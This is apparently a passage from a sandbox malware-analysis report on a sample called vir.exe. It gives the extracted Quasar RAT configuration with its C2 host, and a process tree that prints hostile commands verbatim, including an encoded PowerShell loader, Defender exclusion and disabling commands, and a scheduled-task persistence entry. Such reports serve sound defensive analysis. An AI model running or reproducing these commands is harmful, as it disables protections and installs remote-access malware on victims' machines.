Overview

overview

10

Static

static

10

vir.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    113s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-05-2024 11:23

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    vir.exe

  • Size

    354.3MB

  • MD5

    028198369d6f746e61bb3d7a6184c903

  • SHA1

    c25b526a8e92cead61067e02ebd26e8f9cddeb88

  • SHA256

    6151b06f01ef3a359f86b907c12e92235da0d2e6434e0ffd8113d3e5630a1d0b

  • SHA512

    d87586f6afdf386d9e9955be82e481fd2e1c68b152d543968f9963cb9d1a494e0d06aa52b230a095e36e004a52aa602a686ae7f5ad01278280b307920ec0ddc7

  • SSDEEP

    6291456:rdHVoFB/L6k3TpeRNvb1UxftqCtgZm1UQOwgb27CGhugobOzmuNYk:5IR1enREXhOwr7CGh7rmuNV

Score
10/10
privateloaderquasarromkabootkitdiscoveryevasionexecutionloaderpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

romka

C2

jozzu420-51305.portmap.host:51305

Mutex

0445c342-b551-411c-9b80-cd437437f491

Attributes
  • encryption_key

    E1BF1D99459F04CAF668F054744BC2C514B0A3D6

  • install_name

    Romilyaa.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Windows 10 Boot

  • subdirectory

    SubDir

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
    evasion
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar payload 2 IoCs
  • UAC bypass 3 TTPs 2 IoCs
    evasiontrojan
  • Windows security bypass 2 TTPs 8 IoCs
    evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • Downloads MZ/PE file
  • .NET Reactor proctector 35 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 3 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 5 IoCs
  • Executes dropped EXE 22 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Windows security modification 2 TTPs 7 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 3 IoCs
    evasiontrojan
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 2 IoCs
    persistence
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • AutoIT Executable 4 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 48 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 3 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 33 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 21 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 45 IoCs
  • Suspicious use of SendNotifyMessage 42 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\vir.exe
    "C:\Users\Admin\AppData\Local\Temp\vir.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3828
    • C:\Users\Admin\AppData\Local\Temp\b323f8b9-8328-4dd7-8a2d-e38970c74ae2\ProgressBarSplash.exe
      "C:\Users\Admin\AppData\Local\Temp\b323f8b9-8328-4dd7-8a2d-e38970c74ae2\ProgressBarSplash.exe" -unpacking
      2⤵
      • Executes dropped EXE
      PID:3960
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\main.cmd" "
      2⤵
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4516
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im WindowsDefender.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1628
      • C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\Rover.exe
        Rover.exe
        3⤵
        • Modifies WinLogon for persistence
        • UAC bypass
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Drops file in Program Files directory
        • Suspicious use of AdjustPrivilegeToken
        • System policy modification
        PID:1620
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\web.htm
        3⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:3672
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8d7e346f8,0x7ff8d7e34708,0x7ff8d7e34718
          4⤵
            PID:3024
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2228,15575648705087798018,6149941306025231042,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2236 /prefetch:2
            4⤵
              PID:1676
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2228,15575648705087798018,6149941306025231042,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3940
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2228,15575648705087798018,6149941306025231042,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2848 /prefetch:8
              4⤵
                PID:956
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,15575648705087798018,6149941306025231042,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3208 /prefetch:1
                4⤵
                  PID:1480
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,15575648705087798018,6149941306025231042,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
                  4⤵
                    PID:1036
                • C:\Windows\SysWOW64\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\helper.vbs"
                  3⤵
                    PID:3632
                  • C:\Program Files\Internet Explorer\iexplore.exe
                    "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\spinner.gif
                    3⤵
                    • Modifies Internet Explorer settings
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SetWindowsHookEx
                    PID:1700
                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1700 CREDAT:17410 /prefetch:2
                      4⤵
                      • Modifies Internet Explorer settings
                      • Suspicious use of SetWindowsHookEx
                      PID:3528
                  • C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\regmess.exe
                    regmess.exe
                    3⤵
                    • Executes dropped EXE
                    PID:5904
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\regmess_cd6a9e8b-db36-48e3-8add-39ba00062e42\regmess.bat" "
                      4⤵
                        PID:6016
                        • C:\Windows\SysWOW64\reg.exe
                          reg import Setup.reg /reg:32
                          5⤵
                            PID:5812
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /t 10
                        3⤵
                        • Delays execution with timeout.exe
                        PID:6060
                      • C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\scary.exe
                        scary.exe
                        3⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3208
                        • C:\Windows\SYSTEM32\schtasks.exe
                          "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
                          4⤵
                          • Creates scheduled task(s)
                          PID:5136
                      • C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\the.exe
                        the.exe
                        3⤵
                        • Executes dropped EXE
                        PID:3316
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEQAOAAsACAAMAB4ADIARgAsACAAMAB4ADEARgAsACAAMAB4ADYAQwAsACAAMAB4ADQARQAsACAAMAB4ADgAOAAsACAAMAB4ADQANQAsACAAMAB4AEQARAAsACAAMAB4ADEAQQAsACAAMAB4AEUARAAsACAAMAB4ADUAQwAsACAAMAB4ADQAQgAsACAAMAB4ADQAOQAsACAAMAB4ADQAOQAsACAAMAB4ADAAQwAsACAAMAB4ADMAQgAsACAAMAB4AEYAQQAsACAAMAB4AEEAMQAsACAAMAB4ADIANwAsACAAMAB4ADMARAAsACAAMAB4ADIAQQAsACAAMAB4AEIANQAsACAAMAB4AEMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARAAsACAAMAB4ADAAQQAsACAAMAB4ADUAOQAsACAAMAB4ADUANwAsACAAMAB4AEMAQQAsACAAMAB4ADcAMAAsACAAMAB4AEEAQQAsACAAMAB4AEMAQgApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEMALAAgADAAeABBADMALAAgADAAeAAzADQALAAgADAAeABBADYALAAgADAAeAA4ADQALAAgADAAeABDAEMALAAgADAAeABBAEEALAAgADAAeABEADIALAAgADAAeABCADAALAAgADAAeABFAEUALAAgADAAeABBAEMALAAgADAAeABEADcALAAgADAAeABFAEIALAAgADAAeABGAEUALAAgADAAeAA4AEYALAAgADAAeAA5ADkAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
                          4⤵
                          • UAC bypass
                          • Windows security bypass
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:5580
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\vir_a5005a44-5f66-4095-ab52-3b98a104fe32\the.exe" -Force
                            5⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:6040
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                            5⤵
                            • Drops startup file
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4636
                            • C:\Users\Admin\Pictures\l8MhdL11WbvgmMgiDbTj9QcJ.exe
                              "C:\Users\Admin\Pictures\l8MhdL11WbvgmMgiDbTj9QcJ.exe" /s
                              6⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Writes to the Master Boot Record (MBR)
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3908
                            • C:\Users\Admin\Pictures\BIQG78hK86LsHgiwHq1gVOMp.exe
                              "C:\Users\Admin\Pictures\BIQG78hK86LsHgiwHq1gVOMp.exe"
                              6⤵
                              • Executes dropped EXE
                              • Checks SCSI registry key(s)
                              PID:3520
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 352
                                7⤵
                                • Program crash
                                PID:5528
                            • C:\Users\Admin\Pictures\TTA3BJOiwIJO0kprFpGNWZnj.exe
                              "C:\Users\Admin\Pictures\TTA3BJOiwIJO0kprFpGNWZnj.exe"
                              6⤵
                              • Modifies firewall policy service
                              • Windows security bypass
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Checks computer location settings
                              • Executes dropped EXE
                              • Windows security modification
                              • Checks whether UAC is enabled
                              • Drops file in System32 directory
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              PID:5268
                              • C:\Users\Admin\Documents\SimpleAdobe\hdNmFHwNhVUxOoaDuFnXVjtT.exe
                                C:\Users\Admin\Documents\SimpleAdobe\hdNmFHwNhVUxOoaDuFnXVjtT.exe
                                7⤵
                                • Executes dropped EXE
                                PID:5908
                            • C:\Users\Admin\Pictures\3T0pN1wiK5i3sdgK8RRAUg0T.exe
                              "C:\Users\Admin\Pictures\3T0pN1wiK5i3sdgK8RRAUg0T.exe"
                              6⤵
                              • Executes dropped EXE
                              PID:5744
                              • C:\Users\Admin\AppData\Local\Temp\7zS68F6.tmp\Install.exe
                                .\Install.exe /odidum "385118" /S
                                7⤵
                                • Checks BIOS information in registry
                                • Checks computer location settings
                                • Executes dropped EXE
                                • Enumerates system info in registry
                                PID:4132
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                  8⤵
                                    PID:5228
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                      9⤵
                                        PID:5132
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                          10⤵
                                            PID:548
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                              11⤵
                                                PID:5872
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                            9⤵
                                              PID:2340
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                10⤵
                                                  PID:6076
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                    11⤵
                                                      PID:5148
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                  9⤵
                                                    PID:4592
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                      10⤵
                                                        PID:3436
                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                          11⤵
                                                            PID:4552
                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                        9⤵
                                                          PID:368
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                            10⤵
                                                              PID:2072
                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                11⤵
                                                                  PID:2864
                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                              forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                              9⤵
                                                                PID:5064
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                  10⤵
                                                                    PID:2084
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                      11⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2256
                                                                      • C:\Windows\SysWOW64\gpupdate.exe
                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                        12⤵
                                                                          PID:6128
                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                  8⤵
                                                                    PID:3292
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                      9⤵
                                                                        PID:5676
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                          10⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:5420
                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
